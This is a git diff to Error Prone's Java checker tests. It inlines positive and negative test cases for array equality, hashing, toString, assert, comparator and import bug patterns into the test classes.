diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayEqualsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayEqualsTest.java index e62daab7719..1b81fd1f0a6 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayEqualsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayEqualsTest.java @@ -32,21 +32,257 @@ public class ArrayEqualsTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ArrayEqualsPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayEqualsPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayEqualsPositiveCases { + + public void intArray() { + int[] a = {1, 2, 3}; + int[] b = {1, 2, 3}; + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (a.equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (Objects.equal(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void objectArray() { + Object[] a = new Object[3]; + Object[] b = new Object[3]; + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (a.equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (Objects.equal(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void firstMethodCall() { + String s = "hello"; + char[] b = new char[3]; + + // BUG: Diagnostic contains: Arrays.equals(s.toCharArray(), b) + if (s.toCharArray().equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void secondMethodCall() { + char[] a = new char[3]; + String s = "hello"; + + // BUG: Diagnostic contains: Arrays.equals(a, s.toCharArray()) + if (a.equals(s.toCharArray())) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void bothMethodCalls() { + String s1 = "hello"; + String s2 = "world"; + + // BUG: Diagnostic contains: Arrays.equals(s1.toCharArray(), s2.toCharArray()) + if (s1.toCharArray().equals(s2.toCharArray())) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + }""") + .doTest(); } @Test public void java7PositiveCase() { - compilationHelper.addSourceFile("testdata/ArrayEqualsPositiveCases2.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayEqualsPositiveCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Objects; + + /** + * Tests that only run with Java 7 and above. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayEqualsPositiveCases2 { + + public void intArray() { + int[] a = {1, 2, 3}; + int[] b = {1, 2, 3}; + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (Objects.equals(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void objectArray() { + Object[] a = new Object[3]; + Object[] b = new Object[3]; + + // BUG: Diagnostic contains: Arrays.equals(a, b) + if (Objects.equals(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ArrayEqualsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayEqualsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayEqualsNegativeCases { + public void neitherArray() { + Object a = new Object(); + Object b = new Object(); + + if (a.equals(b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + + if (Objects.equal(a, b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + } + + public void firstArray() { + Object[] a = new Object[3]; + Object b = new Object(); + + if (a.equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + + if (Objects.equal(a, b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + } + + public void secondArray() { + Object a = new Object(); + Object[] b = new Object[3]; + + if (a.equals(b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + + if (Objects.equal(a, b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + } + }""") + .doTest(); } @Test public void java7NegativeCase() { - compilationHelper.addSourceFile("testdata/ArrayEqualsNegativeCases2.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayEqualsNegativeCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Objects; + + /** + * Tests that only run with Java 7 and above. + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayEqualsNegativeCases2 { + public void neitherArray() { + Object a = new Object(); + Object b = new Object(); + + if (Objects.equals(a, b)) { + System.out.println("Objects are equal!"); + } else { + System.out.println("Objects are not equal!"); + } + } + + public void firstArray() { + Object[] a = new Object[3]; + Object b = new Object(); + + if (Objects.equals(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + + public void secondArray() { + Object a = new Object(); + Object[] b = new Object[3]; + + if (Objects.equals(a, b)) { + System.out.println("arrays are equal!"); + } else { + System.out.println("arrays are not equal!"); + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayHashCodeTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayHashCodeTest.java index da52cd2dbb1..f57d4f24def 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayHashCodeTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayHashCodeTest.java @@ -32,17 +32,168 @@ public class ArrayHashCodeTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ArrayHashCodePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayHashCodePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.base.Objects; + +/** + * @author eaftan@google.com (Eddie Aftandilian) + */ +public class ArrayHashCodePositiveCases { + private Object[] objArray = {1, 2, 3}; + private String[] stringArray = {"1", "2", "3"}; + private int[] intArray = {1, 2, 3}; + private byte[] byteArray = {1, 2, 3}; + private int[][] multidimensionalIntArray = {{1, 2, 3}, {4, 5, 6}}; + private String[][] multidimensionalStringArray = {{"1", "2", "3"}, {"4", "5", "6"}}; + + public void objectHashCode() { + int hashCode; + // BUG: Diagnostic contains: Arrays.hashCode(objArray) + hashCode = objArray.hashCode(); + // BUG: Diagnostic contains: Arrays.hashCode(stringArray) + hashCode = stringArray.hashCode(); + // BUG: Diagnostic contains: Arrays.hashCode(intArray) + hashCode = intArray.hashCode(); + + // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray) + hashCode = multidimensionalIntArray.hashCode(); + // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray) + hashCode = multidimensionalStringArray.hashCode(); + } + + public void guavaObjectsHashCode() { + int hashCode; + // BUG: Diagnostic contains: Arrays.hashCode(intArray) + hashCode = Objects.hashCode(intArray); + // BUG: Diagnostic contains: Arrays.hashCode(byteArray) + hashCode = Objects.hashCode(byteArray); + + // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalIntArray) + hashCode = Objects.hashCode(multidimensionalIntArray); + // BUG: Diagnostic contains: Arrays.deepHashCode(multidimensionalStringArray) + hashCode = Objects.hashCode(multidimensionalStringArray); + } + + public void varargsHashCodeOnMoreThanOneArg() { + int hashCode; + // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(objArray), + // Arrays.hashCode(intArray)) + hashCode = Objects.hashCode(objArray, intArray); + // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(stringArray), + // Arrays.hashCode(byteArray)) + hashCode = Objects.hashCode(stringArray, byteArray); + + Object obj1 = new Object(); + Object obj2 = new Object(); + // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, Arrays.hashCode(intArray)) + hashCode = Objects.hashCode(obj1, obj2, intArray); + // BUG: Diagnostic contains: Objects.hashCode(obj1, Arrays.hashCode(intArray), obj2) + hashCode = Objects.hashCode(obj1, intArray, obj2); + // BUG: Diagnostic contains: Objects.hashCode(Arrays.hashCode(intArray), obj1, obj2) + hashCode = Objects.hashCode(intArray, obj1, obj2); + + // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, + // Arrays.deepHashCode(multidimensionalIntArray)) + hashCode = Objects.hashCode(obj1, obj2, multidimensionalIntArray); + // BUG: Diagnostic contains: Objects.hashCode(obj1, obj2, + // Arrays.deepHashCode(multidimensionalStringArray)) + hashCode = Objects.hashCode(obj1, obj2, multidimensionalStringArray); + } +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ArrayHashCodeNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayHashCodeNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayHashCodeNegativeCases { + + private Object[] objArray = {1, 2, 3}; + private String[] stringArray = {"1", "2", "3"}; + private int[] intArray = {1, 2, 3}; + private byte[] byteArray = {1, 2, 3}; + private Object obj = new Object(); + private String str = "foo"; + + public void objectHashCodeOnNonArrayType() { + int hashCode; + hashCode = obj.hashCode(); + hashCode = str.hashCode(); + } + + public void varagsHashCodeOnNonArrayType() { + int hashCode; + hashCode = Objects.hashCode(obj); + hashCode = Objects.hashCode(str); + } + + public void varagsHashCodeOnObjectOrStringArray() { + int hashCode; + hashCode = Objects.hashCode(objArray); + hashCode = Objects.hashCode((Object[]) stringArray); + } + }""") + .doTest(); } /** Tests java.util.Objects hashCode methods, which are only in JDK 7 and above. */ @Test public void java7NegativeCase() { - compilationHelper.addSourceFile("testdata/ArrayHashCodeNegativeCases2.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayHashCodeNegativeCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Objects; + + /** + * Java 7 specific tests + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class ArrayHashCodeNegativeCases2 { + + private Object[] objArray = {1, 2, 3}; + private String[] stringArray = {"1", "2", "3"}; + private int[] intArray = {1, 2, 3}; + private byte[] byteArray = {1, 2, 3}; + private Object obj = new Object(); + private String str = "foo"; + + public void nonVaragsHashCodeOnNonArrayType() { + int hashCode; + hashCode = Objects.hashCode(obj); + hashCode = Objects.hashCode(str); + } + + public void varagsHashCodeOnNonArrayType() { + int hashCode; + hashCode = Objects.hash(obj); + hashCode = Objects.hash(str); + } + + public void varagsHashCodeOnObjectOrStringArray() { + int hashCode; + hashCode = Objects.hash(objArray); + hashCode = Objects.hash((Object[]) stringArray); + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayToStringTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayToStringTest.java index 79e28d1e628..6e46908d040 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ArrayToStringTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ArrayToStringTest.java @@ -34,12 +34,103 @@ public class ArrayToStringTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ArrayToStringPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayToStringPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.*; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringPositiveCases { + + public void intArray() { + int[] a = {1, 2, 3}; + + // BUG: Diagnostic contains: Arrays.toString(a) + if (a.toString().isEmpty()) { + System.out.println("int array string is empty!"); + } else { + System.out.println("int array string is nonempty!"); + } + } + + public void objectArray() { + Object[] a = new Object[3]; + + // BUG: Diagnostic contains: Arrays.toString(a) + if (a.toString().isEmpty()) { + System.out.println("object array string is empty!"); + } else { + System.out.println("object array string is nonempty!"); + } + } + + public void firstMethodCall() { + String s = "hello"; + + // BUG: Diagnostic contains: Arrays.toString(s.toCharArray()) + if (s.toCharArray().toString().isEmpty()) { + System.out.println("char array string is empty!"); + } else { + System.out.println("char array string is nonempty!"); + } + } + + public void secondMethodCall() { + char[] a = new char[3]; + + // BUG: Diagnostic contains: Arrays.toString(a) + if (a.toString().isEmpty()) { + System.out.println("array string is empty!"); + } else { + System.out.println("array string is nonempty!"); + } + } + + public void throwable() { + Exception e = new RuntimeException(); + // BUG: Diagnostic contains: Throwables.getStackTraceAsString(e) + System.out.println(e.getStackTrace().toString()); + } + + public void arrayOfArrays() { + int[][] a = {}; + // BUG: Diagnostic contains: Arrays.deepToString(a) + System.out.println(a); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ArrayToStringNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ArrayToStringNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.*; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringNegativeCases { + public void objectEquals() { + Object a = new Object(); + + if (a.toString().isEmpty()) { + System.out.println("string is empty!"); + } else { + System.out.println("string is not empty!"); + } + } + }""") + .doTest(); } @Test @@ -195,28 +286,109 @@ void test(Exception e) { @Test public void positiveCompoundAssignment() { compilationHelper - .addSourceFile("testdata/ArrayToStringCompoundAssignmentPositiveCases.java") + .addSourceLines( + "ArrayToStringCompoundAssignmentPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.*; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringCompoundAssignmentPositiveCases { + + private static final int[] a = {1, 2, 3}; + + public void stringVariableAddsArrayAndAssigns() { + String b = "a string"; + // BUG: Diagnostic contains: += Arrays.toString(a) + b += a; + } + }""") .doTest(); } @Test public void negativeCompoundAssignment() { compilationHelper - .addSourceFile("testdata/ArrayToStringCompoundAssignmentNegativeCases.java") + .addSourceLines( + "ArrayToStringCompoundAssignmentNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringCompoundAssignmentNegativeCases { + public void concatenateCompoundAssign_object() { + Object a = new Object(); + String b = " a string"; + b += a; + } + + public void concatenateCompoundAssign_int() { + int a = 5; + String b = " a string "; + b += a; + } + }""") .doTest(); } @Test public void positiveConcat() { compilationHelper - .addSourceFile("testdata/ArrayToStringConcatenationPositiveCases.java") + .addSourceLines( + "ArrayToStringConcatenationPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.*; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringConcatenationPositiveCases { + + private static final int[] a = {1, 2, 3}; + + public void stringLiteralLeftOperandIsArray() { + // BUG: Diagnostic contains: Arrays.toString(a) + + String b = a + " a string"; + } + + public void stringLiteralRightOperandIsArray() { + // BUG: Diagnostic contains: + Arrays.toString(a) + String b = "a string" + a; + } + }""") .doTest(); } @Test public void negativeConcat() { compilationHelper - .addSourceFile("testdata/ArrayToStringConcatenationNegativeCases.java") + .addSourceLines( + "ArrayToStringConcatenationNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author adgar@google.com (Mike Edgar) + */ + public class ArrayToStringConcatenationNegativeCases { + public void notArray() { + Object a = new Object(); + String b = a + " a string"; + } + + public void notArray_refactored() { + Object a = new Object(); + String b = " a string"; + String c = a + b; + } + }""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/AssertFalseTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/AssertFalseTest.java index b6f94614550..10883b78bbb 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/AssertFalseTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/AssertFalseTest.java @@ -32,11 +32,45 @@ public class AssertFalseTest { @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AssertFalseNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssertFalseNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author sebastian.h.monte@gmail.com (Sebastian Monte) + */ + public class AssertFalseNegativeCases { + + public void assertTrue() { + assert true; + } + + public void assertFalseFromCondition() { + assert 0 == 1; + } + }""") + .doTest(); } @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AssertFalsePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AssertFalsePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * @author sebastian.h.monte@gmail.com (Sebastian Monte) + */ + public class AssertFalsePositiveCases { + public void assertFalse() { + // BUG: Diagnostic contains: throw new AssertionError() + assert false; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/AsyncFunctionReturnsNullTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/AsyncFunctionReturnsNullTest.java index 5dda741ad08..e0cca2e3255 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/AsyncFunctionReturnsNullTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/AsyncFunctionReturnsNullTest.java @@ -29,11 +29,118 @@ public class AsyncFunctionReturnsNullTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/AsyncFunctionReturnsNullPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "AsyncFunctionReturnsNullPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.util.concurrent.Futures.immediateFuture; + + import com.google.common.util.concurrent.AsyncFunction; + import com.google.common.util.concurrent.CheckedFuture; + import com.google.common.util.concurrent.ListenableFuture; + + /** Positive cases for {@link AsyncFunctionReturnsNull}. */ + public class AsyncFunctionReturnsNullPositiveCases { + static void listenableFutures() { + new AsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + // BUG: Diagnostic contains: immediateFuture(null) + return null; + } + }; + + new AsyncFunction() { + @Override + public ListenableFuture apply(Object o) { + if (o instanceof String) { + return immediateFuture((String) o); + } + // BUG: Diagnostic contains: immediateFuture(null) + return null; + } + }; + } + + static class MyAsyncFunction implements AsyncFunction { + @Override + public ListenableFuture apply(Object input) throws Exception { + return immediateFuture(input.toString()); + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/AsyncFunctionReturnsNullNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "AsyncFunctionReturnsNullNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.util.concurrent.Futures.immediateFuture; + + import com.google.common.base.Function; + import com.google.common.util.concurrent.AsyncFunction; + import com.google.common.util.concurrent.ListenableFuture; + import java.util.function.Supplier; + import org.jspecify.annotations.Nullable; + + /** Negative cases for {@link AsyncFunctionReturnsNull}. */ + public class AsyncFunctionReturnsNullNegativeCases { + static { + new AsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + return immediateFuture(null); + } + }; + + new Function() { + @Override + public Object apply(String input) { + return null; + } + }; + + new AsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + return apply(input, input); + } + + public ListenableFuture apply(String input1, String input2) { + return null; + } + }; + + new MyNonAsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + return null; + } + }; + + new AsyncFunction() { + @Override + public ListenableFuture apply(String input) throws Exception { + Supplier s = + () -> { + return null; + }; + return immediateFuture(s.get()); + } + }; + } + + interface MyNonAsyncFunction { + ListenableFuture apply(@Nullable I input) throws Exception; + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BadComparableTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BadComparableTest.java index 985c47d3d21..63594f2716f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BadComparableTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BadComparableTest.java @@ -31,11 +31,207 @@ public class BadComparableTest { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/BadComparablePositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "BadComparablePositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import java.io.File; +import java.util.Comparator; + +/** + * @author irogers@google.com (Ian Rogers) + */ +public class BadComparablePositiveCases { + static class ComparableTest implements Comparable { + private final long value = 0; + + public int compareTo(ComparableTest other) { + // BUG: Diagnostic contains: return Long.compare(value, other.value); + return (int) (value - other.value); + } + } + + static class BoxedComparableTest implements Comparable { + private final Long value = Long.valueOf(0); + + public int compareTo(BoxedComparableTest other) { + // BUG: Diagnostic contains: return value.compareTo(other.value); + return (int) (value - other.value); + } + } + + static final Comparator COMPARATOR_UNBOXED_INT_CAST = + new Comparator() { + public int compare(Number n1, Number n2) { + // BUG: Diagnostic contains: return Long.compare(n1.longValue(), n2.longValue()) + return (int) (n1.longValue() - n2.longValue()); + } + }; + + static final Comparator COMPARATOR_BOXED_INT_CAST = + new Comparator() { + public int compare(Long n1, Long n2) { + // BUG: Diagnostic contains: return n1.compareTo(n2) + return (int) (n1 - n2); + } + }; + + static final Comparator COMPARATOR_FILE_INT_CAST = + new Comparator() { + public int compare(File lhs, File rhs) { + // BUG: Diagnostic contains: return Long.compare(rhs.lastModified(), lhs.lastModified()) + return (int) (rhs.lastModified() - lhs.lastModified()); + } + }; +}""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/BadComparableNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "BadComparableNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import java.util.Comparator; + + /** + * @author irogers@google.com (Ian Rogers) + */ + public class BadComparableNegativeCases { + // The corrected cases of the PositiveCases test. + static class ComparableTest implements Comparable { + private final long value = 0; + + public int compareTo(ComparableTest other) { + return Long.compare(value, other.value); + } + } + + static class BoxedComparableTest implements Comparable { + private final Long value = Long.valueOf(0); + + public int compareTo(BoxedComparableTest other) { + return value.compareTo(other.value); + } + } + + static final Comparator COMPARATOR_UNBOXED_INT_CAST = + new Comparator() { + public int compare(Number n1, Number n2) { + return Long.compare(n1.longValue(), n2.longValue()); + } + }; + + static final Comparator COMPARATOR_BOXED_INT_CAST = + new Comparator() { + public int compare(Long n1, Long n2) { + return n1.compareTo(n2); + } + }; + + // Don't match non-Comparable or Comparator cases. + static class NonComparableTest { + private final long value = 0; + + public int compareTo(ComparableTest other) { + return (int) (value - other.value); + } + } + + static final Object COMPARATOR_LIKE_INT_CAST = + new Object() { + public int compare(Long n1, Long n2) { + return (int) (n1 - n2); + } + }; + + // Narrowing conversions that don't follow the long -> int pattern. + static final Comparator COMPARATOR_UNBOXED_NON_PATTERN_LONG_CAST = + new Comparator() { + // To match the Comparator API. + @Override + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + + public short compare(int n1, int n2) { + return (short) (n1 - n2); + } + + public byte compare(long n1, long n2) { + return (byte) (n1 - n2); + } + }; + + // Not narrowing conversions. + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_LONG_CAST = + new Comparator() { + // To match the Comparator API. + @Override + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + + public long compare(long n1, long n2) { + return (long) (n1 - n2); + } + }; + + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_INT_CAST = + new Comparator() { + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + }; + + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_SHORT_CAST = + new Comparator() { + // To match the Comparator API. + @Override + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + + public short compare(short n1, short n2) { + return (short) (n1 - n2); + } + }; + + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_BYTE_CAST = + new Comparator() { + // To match the Comparator API. + @Override + public int compare(Number n1, Number n2) { + return (int) (n1.intValue() - n2.intValue()); + } + + public byte compare(byte n1, byte n2) { + return (byte) (n1 - n2); + } + }; + + // Not signed conversions. + static final Comparator COMPARATOR_UNBOXED_NON_NARROW_CHAR_CAST = + new Comparator() { + @Override + public int compare(Number n1, Number n2) { + return (char) (n1.shortValue() - n2.shortValue()); + } + + public char compare(char n1, char n2) { + return (char) (n1 - n2); + } + + public char compare(byte n1, byte n2) { + return (char) (n1 - n2); + } + }; + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/BadImportTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/BadImportTest.java index c0ccd567756..cfa2c8ea462 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/BadImportTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/BadImportTest.java @@ -181,7 +181,70 @@ void foo() { @Test public void positive_nested() { - compilationTestHelper.addSourceFile("testdata/BadImportPositiveCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "BadImportPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import com.google.common.collect.ImmutableList.Builder; +import org.jspecify.annotations.Nullable; + +/** + * Tests for {@link BadImport}. + * + * @author awturner@google.com (Andy Turner) + */ +class BadImportPositiveCases { + public void variableDeclarations() { + // Only the first match is reported; but all occurrences are fixed. + // BUG: Diagnostic contains: ImmutableList.Builder + Builder qualified; + Builder raw; + } + + public void variableDeclarationsNestedGenerics() { + Builder> builder1; + Builder builder1Raw; + ImmutableList.Builder> builder2; + ImmutableList.Builder builder2Raw; + } + + @Nullable + Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotationMethod() { + return null; + } + + public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { + + @Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; + + @Nullable Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotation2; + } + + public void newClass() { + new Builder(); + new Builder>(); + } + + Builder returnGenericExplicit() { + return new Builder(); + } + + Builder returnGenericDiamond() { + return new Builder<>(); + } + + Builder returnRaw() { + return new Builder(); + } + + void classLiteral() { + System.out.println(Builder.class); + } +}""") + .doTest(); } @Test @@ -262,7 +325,37 @@ static class B {} @Test public void negative_nested() { - compilationTestHelper.addSourceFile("testdata/BadImportNegativeCases.java").doTest(); + compilationTestHelper + .addSourceLines( + "BadImportNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.collect.ImmutableList; + + /** + * Tests for {@link BadImport}. + * + * @author awturner@google.com (Andy Turner) + */ + public class BadImportNegativeCases { + public void qualified() { + ImmutableList.Builder qualified; + com.google.common.collect.ImmutableList.Builder fullyQualified; + ImmutableList.Builder raw; + + new ImmutableList.Builder(); + } + + static class Nested { + static class Builder {} + + void useNestedBuilder() { + new Builder(); + } + } + }""") + .doTest(); } @Test @@ -284,8 +377,128 @@ public void negative_badImportIsTopLevelClass() { @Test public void nestedFixes() { refactoringTestHelper - .addInput("testdata/BadImportPositiveCases.java") - .addOutput("testdata/BadImportPositiveCases_expected.java") + .addInputLines( + "BadImportPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import com.google.common.collect.ImmutableList.Builder; +import org.jspecify.annotations.Nullable; + +/** + * Tests for {@link BadImport}. + * + * @author awturner@google.com (Andy Turner) + */ +class BadImportPositiveCases { + public void variableDeclarations() { + // Only the first match is reported; but all occurrences are fixed. + // BUG: Diagnostic contains: ImmutableList.Builder + Builder qualified; + Builder raw; + } + + public void variableDeclarationsNestedGenerics() { + Builder> builder1; + Builder builder1Raw; + ImmutableList.Builder> builder2; + ImmutableList.Builder builder2Raw; + } + + @Nullable + Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotationMethod() { + return null; + } + + public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { + + @Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; + + @Nullable Builder<@Nullable Builder<@Nullable String>> parameterizedWithTypeUseAnnotation2; + } + + public void newClass() { + new Builder(); + new Builder>(); + } + + Builder returnGenericExplicit() { + return new Builder(); + } + + Builder returnGenericDiamond() { + return new Builder<>(); + } + + Builder returnRaw() { + return new Builder(); + } + + void classLiteral() { + System.out.println(Builder.class); + } +}""") + .addOutputLines( + "BadImportPositiveCases_expected.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.ImmutableList; +import org.jspecify.annotations.Nullable; + +/** + * Tests for {@link BadImport}. + * + * @author awturner@google.com (Andy Turner) + */ +class BadImportPositiveCases { + public void variableDeclarations() { + ImmutableList.Builder qualified; + ImmutableList.Builder raw; + } + + public void variableDeclarationsNestedGenerics() { + ImmutableList.Builder> builder1; + ImmutableList.Builder builder1Raw; + ImmutableList.Builder> builder2; + ImmutableList.Builder builder2Raw; + } + + ImmutableList.@Nullable Builder> + parameterizedWithTypeUseAnnotationMethod() { + return null; + } + + public void variableDeclarationsNestedGenericsAndTypeUseAnnotations() { + + ImmutableList.@Nullable Builder<@Nullable String> parameterizedWithTypeUseAnnotation1; + + ImmutableList.@Nullable Builder> + parameterizedWithTypeUseAnnotation2; + } + + public void newClass() { + new ImmutableList.Builder(); + new ImmutableList.Builder>(); + } + + ImmutableList.Builder returnGenericExplicit() { + return new ImmutableList.Builder(); + } + + ImmutableList.Builder returnGenericDiamond() { + return new ImmutableList.Builder<>(); + } + + ImmutableList.Builder returnRaw() { + return new ImmutableList.Builder(); + } + + void classLiteral() { + System.out.println(ImmutableList.Builder.class); + } +}""") .doTest(TestMode.AST_MATCH); } diff 